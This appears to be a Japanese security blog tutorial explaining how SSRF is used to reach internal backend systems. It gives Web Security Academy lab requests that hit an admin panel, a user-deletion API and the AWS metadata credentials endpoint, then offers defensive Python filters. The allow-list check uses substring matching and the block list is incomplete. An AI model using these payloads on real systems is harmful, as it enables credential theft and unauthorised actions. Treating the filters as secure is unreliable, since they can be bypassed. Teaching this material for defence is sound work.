SSRF攻撃：他のバックエンドシステムへの攻撃

Hello there, ('ω')ノ

SSRF（Server-Side Request Forgery）は、サーバー自身への攻撃だけでなく、バックエンドシステムへの不正アクセスにも利用される ことがあります。
特に、直接ユーザーがアクセスできない「内部システム」 に対して、アプリケーションサーバーを踏み台にすることで攻撃が可能になります。

1. バックエンドシステムとは？

🔹 直接アクセスできない内部システム

企業のネットワーク構成では、通常、以下のようなシステムが「外部から直接アクセスできない」ようになっています。
- データベースサーバー（例：192.168.0.10:3306）
- 管理インターフェース（例：192.168.0.68/admin）
- 内部APIサーバー（例：10.0.0.5/api/internal）

💡 これらのシステムは、ネットワーク的に保護されているため、通常は外部ユーザーが直接アクセスすることはできません。
しかし、SSRFを利用すれば、サーバー自身を踏み台にして内部システムにアクセスすることが可能 になります。

2. SSRFを利用したバックエンド攻撃の流れ

① SSRFを利用して管理インターフェースにアクセス

例えば、バックエンドに https://192.168.0.68/admin という管理画面があるとします。
この管理画面は、外部から直接アクセスすることはできません。
しかし、在庫チェック機能のような サーバー側が指定URLにリクエストを送信する機能 を悪用すれば、バックエンドの管理画面を開くことが可能です。

悪用できるリクエストの例:

POST /product/stock HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://192.168.0.68/admin

✅ 成功すると、レスポンスに /admin のHTMLが含まれる可能性があります。

② 内部APIを狙う

多くの企業では、内部APIは「社内システムのみアクセス可能」な状態で動作 しています。
たとえば、以下のようなAPIエンドポイントが内部で運用されていることがあります。

http://10.0.0.5/api/internal/getUser?username=admin
http://192.168.1.20/api/config
http://192.168.0.68/api/deleteUser?user=carlos

💡 SSRFを利用すれば、これらのAPIにリクエストを送り、管理操作やデータ漏洩を引き起こせます。

攻撃例：

POST /product/stock HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://192.168.0.68/api/deleteUser?user=carlos

✅ 成功すると、「carlos」ユーザーが削除される可能性があります！

③ データベースサーバーやクラウド環境への攻撃

企業の内部ネットワークには、データベースやクラウドメタデータサービスが存在することがあります。

危険な攻撃シナリオ： - データベースに直接アクセスし、情報を盗む http stockApi=http://192.168.0.10:3306/ - AWSのメタデータAPIにアクセスし、IAMクレデンシャルを盗む http stockApi=http://169.254.169.254/latest/meta-data/iam/security-credentials/

✅ これらの攻撃が成功すると、企業の機密情報やクラウド環境が乗っ取られる可能性があります。

3. SSRF攻撃の影響

🔴 内部ネットワークのシステムを直接攻撃できる
🔴 管理者向けの機能にアクセスし、不正操作が可能になる
🔴 データベースやクラウドの認証情報を盗み出せる

バックエンドシステムは 外部からのアクセスを前提としていないため、セキュリティ対策が甘いことが多い です。
そのため、SSRFを利用した攻撃は、非常に深刻な被害を引き起こす可能性があります！

4. SSRF対策

✅ ① 内部ネットワークへのリクエストを制限する

プライベートIP（192.168.x.x, 10.x.x.x など）へのアクセスを禁止する
クラウドのメタデータサービス（169.254.169.254）へのアクセスをブロック

import re

def is_valid_url(url):
    blocked_patterns = [
        r"127\.0\.0\.1",
        r"localhost",
        r"169\.254\.169\.254",
        r"10\.\d+\.\d+\.\d+",
        r"192\.168\.\d+\.\d+"
    ]
    for pattern in blocked_patterns:
        if re.search(pattern, url):
            return False
    return True

✅ ② 外部リクエストのホワイトリストを適用

許可されたドメイン（例：api.weliketoshop.net）のみリクエストを許可
ワイルドカード（*）を含むドメインを許可しない

ALLOWED_DOMAINS = ["api.weliketoshop.net"]
def is_valid_url(url):
    return any(domain in url for domain in ALLOWED_DOMAINS)

✅ ③ アクセス制御の強化

管理機能はVPN経由でのみアクセス可能にする
多要素認証（MFA）を導入する
リクエスト元のIPを厳格にチェックする
CSRFトークンを使用して、外部リクエストをブロック

✅ ④ ファイアウォールとネットワーク分離

バックエンドシステムへのアクセスは、特定のサーバーのみ許可
社内ネットワークと公開サーバーを完全に分離
クラウド環境ではIAMポリシーを適切に設定し、メタデータAPIを制限

5. まとめ

🔹 SSRFは、外部から直接アクセスできない「バックエンドシステム」を攻撃できる強力な手法！
🔹 管理インターフェース、内部API、データベース、クラウド環境に影響を与える可能性がある
🔹 適切なアクセス制御・リクエストのフィルタリングを実装することで被害を防ぐ！

企業の内部ネットワークは、外部と同じレベルのセキュリティを適用すべき！
「内部だから安全」という考え方は、SSRF攻撃の前では通用しない！ 🚨

Best regards, (^^ゞ

Shikata Ga Nai

Private? There is no such things.